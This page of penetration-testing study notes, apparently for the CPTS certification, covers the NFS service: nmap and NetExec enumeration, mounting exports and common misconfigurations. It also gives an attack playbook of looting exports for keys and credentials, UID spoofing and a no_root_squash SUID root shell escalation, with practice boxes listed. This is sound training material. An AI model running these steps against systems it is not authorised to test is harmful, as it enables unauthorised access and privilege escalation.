~/service-nfs

NFS

CPTS Notes3 min read
CPTS Notes
  1. Start Here
  2. General Framework
  3. Enumeration
  4. Enumeration with Nmap
  5. Services
  6. FTP
  7. SMB
  8. NFS
  9. DNS
  10. SMTP
  11. IMAP
  12. POP3
  13. Reference
  14. Port References
  15. Linux Commands Cheatsheet
  16. DNS Resolution
  17. The Mail Pipeline
  18. SMB & NetBIOS
On this page
  1. TL;DR
  2. Enumeration
  3. Common misconfigurations
  4. Attack playbook
  5. Practice boxes

TL;DR

NFS (Network File System). Unix and Linux file sharing over RPC. NFSv3 needs rpcbind on TCP/UDP 111, plus NFS on 2049 and a mountd port. NFSv4 uses 2049 alone. NFSv3 and earlier authenticate with AUTH_SYS: the server trusts the client-supplied UID and GID, so there is no real authentication. NFSv4 can use Kerberos.

First checks: the exports, the NFS version, and the squash setting.

Enumeration

Workflow: sweep with nmap, enumerate with nxc nfs, then mount with the NFS client to read.

Sweep. rpcbind and NFS, with the export scripts:

sudo nmap -p111,2049 -sV --script rpcinfo,nfs-showmount,nfs-ls,nfs-statfs -oA scans/nfs $TARGET

Enumerate with NetExec (nxc nfs). One command reports the NFS versions, whether root escape (no_root_squash) is possible, and the exports:

nxc nfs $TARGET --shares

--enum-shares walks the files in each export, three levels deep by default. --ls, --get-file, and --put-file read and write without mounting. The module runs anonymously.

List and mount with the NFS client. List the exports, then mount one:

showmount -e $TARGET
sudo mount -t nfs -o vers=3,nolock $TARGET:/<export> /mnt/nfs

showmount -e lists the exports. -o vers=3 selects NFSv3 (AUTH_SYS). nolock disables file locking, which mounts cleanly when the lock manager is unreachable. Run umount /mnt/nfs when done.

Common misconfigurations

  • Exports readable by any host (exported to *).
  • no_root_squash: a remote root user writes files as local root.
  • Writable exports.
  • AUTH_SYS trust: the server trusts the client-supplied UID and GID, so any user can impersonate another UID.
  • insecure: accepts client source ports above 1024, so a non-root attacker can mount the export.

Attack playbook

NFS has no iconic version exploit. Its danger is configuration, so work the access it gives you.

  1. Loot readable exports. Mount and read. Hunt for SSH keys, configs, credentials, and backups. The usual NFS win. Listing and mounting are in Enumeration.
  2. Spoof a UID. root_squash maps your root to nobody, but AUTH_SYS trusts your UID. Read the numeric owner with ls -n, then create a local user with that UID and act as them:
ls -n /mnt/nfs
sudo useradd -u 1014 lootuser
sudo -u lootuser cat /mnt/nfs/<file>

ls -n shows the UID and GID instead of names, which your local /etc/passwd would mistranslate. 3. no_root_squash to root. When an export allows root and you hold local root, write a SUID root shell into the share, then run it on the target:

sudo mount -t nfs $TARGET:/<export> /mnt/nfs
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash
# on the target:
/<export>/rootbash -p

chmod +s sets the SUID bit. bash -p keeps the root effective UID instead of dropping it.

  1. Write for access. A writable export mapped to a user’s ~/.ssh or a web root takes an SSH key or a payload.

Practice boxes

Box Difficulty NFS’s role
Squashed Easy UID spoofing: a share owned by another UID, read by creating a local user with that UID.
Remote Easy Windows NFS export readable by everyone leaks an Umbraco config hash.
Fortune Hard UID spoofing on an exported /home (OpenBSD).
Jail Insane nfsshell to reach root-squashed exports.

On easy boxes NFS is loot or a quick privesc. The signature escalation is no_root_squash to a SUID root shell.